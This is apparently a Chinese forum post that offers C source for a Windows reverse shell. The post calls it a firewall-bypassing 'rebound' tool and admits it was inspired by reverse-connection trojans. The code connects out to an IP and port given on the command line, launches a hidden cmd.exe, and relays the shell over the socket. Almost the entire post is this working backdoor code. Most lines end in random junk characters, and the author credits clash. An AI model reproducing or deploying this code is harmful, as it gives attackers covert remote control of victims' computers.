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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DjyqQ yq~  
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/* ============================== y:Wq;xEiDo  
Rebound port in Windows NT ~[_u@8l!mN  
By wind,2006/7 {7k Jj(Ue  
===============================*/ ;6 ?a8t@  
#include @q98ac*{  
#include 9nM_LV  
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#pragma comment(lib,"wsock32.lib") %DK0s(*w0  
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void OutputShell(); wMW."gM|  
SOCKET sClient; u|ph_?6 o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1zGD~[M  
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void main(int argc,char **argv) &kR*J<)V  
{ 8t1XZ  
WSADATA stWsaData; S55h}5Y  
int nRet; O'm5k l  
SOCKADDR_IN stSaiClient,stSaiServer; &z;bX-"E  
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if(argc != 3) _>8rTk`/h  
{ yt'P,m  
printf("Useage:\n\rRebound DestIP DestPort\n"); e(=() :4is  
return; -wh?9 ?W  
} ME0vXi  
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WSAStartup(MAKEWORD(2,2),&stWsaData); R)@2={fd}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J~]Y  
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stSaiClient.sin_family = AF_INET; oe'f?IY  
stSaiClient.sin_port = htons(0); @%'1Jd7-Wp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]<3n;*8k?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W\c1QY$E  
{ _o52#Q4   
printf("Bind Socket Failed!\n"); \,AE5hnO  
return; 3 T1,:r  
} r|_@S[hZg  
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stSaiServer.sin_family = AF_INET; d-sT+4o}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q$yMU [l)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5%_aN_1?ef  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _qxBjB4t"a  
{ S8j!?$`  
printf("Connect Error!"); C09rgEB\B  
return; {;L,|(o^  
} Cqs+ o^q  
OutputShell(); W ZT) LYA  
} YYN'LF#j  
4St-Q]Y _  
void OutputShell() BXb=N E  
{ fTOGW`s^  
char szBuff[1024]; 7D KTd^^M  
SECURITY_ATTRIBUTES stSecurityAttributes; \ xJ_ )r  
OSVERSIONINFO stOsversionInfo; j* ZU}Ss  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yPd6{% w  
STARTUPINFO stStartupInfo; 8FIk|p|l^  
char *szShell; 8345 H  
PROCESS_INFORMATION stProcessInformation; T4nWK!}z  
unsigned long lBytesRead; 9+iz+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -d.i4X3j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +8|9&v`  
stSecurityAttributes.lpSecurityDescriptor = 0; hh-a+] c0  
stSecurityAttributes.bInheritHandle = TRUE; |@1M'  
TE5J @I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j"s7P%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h"y~!NWn  
l$&dTI<#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y3 \EX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UQg_y3 #V  
stStartupInfo.wShowWindow = SW_HIDE; *Fg)`M3g  
stStartupInfo.hStdInput = hReadPipe; LVNA`|>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nWes,K6T  
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GetVersionEx(&stOsversionInfo); 8og8;#mnyr  
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switch(stOsversionInfo.dwPlatformId) B'e@RhU;  
{ 9sN#l  
case 1: ;nx.:f  
szShell = "command.com"; bt};Pn{3  
break; TILH[r&Jg  
default: JvsL]yRT  
szShell = "cmd.exe"; }BUm}.-{u,  
break; P6I<M}p  
} (!PsK:wc  
%g~&$oZmq  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~dC.,"  
z1^3~U$}  
send(sClient,szMsg,77,0); ([dwZ6$/J  
while(1) zm{`+boH<  
{ =axuLP))  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ' <?=!&\D  
if(lBytesRead) #N$\d4q9  
{ (HXKa][T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .Y0O.  
send(sClient,szBuff,lBytesRead,0); gq]@*C  
} ;Dbx5-t  
else !|l7b2NEz-  
{ ^`[<%.  
lBytesRead=recv(sClient,szBuff,1024,0); (5;nA'  
if(lBytesRead<=0) break; sPMICIv|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '5b0 K1$"  
} EOZ 6F-':  
} ~Zn|(  
ify48]  
return; }[=)sb_  
}
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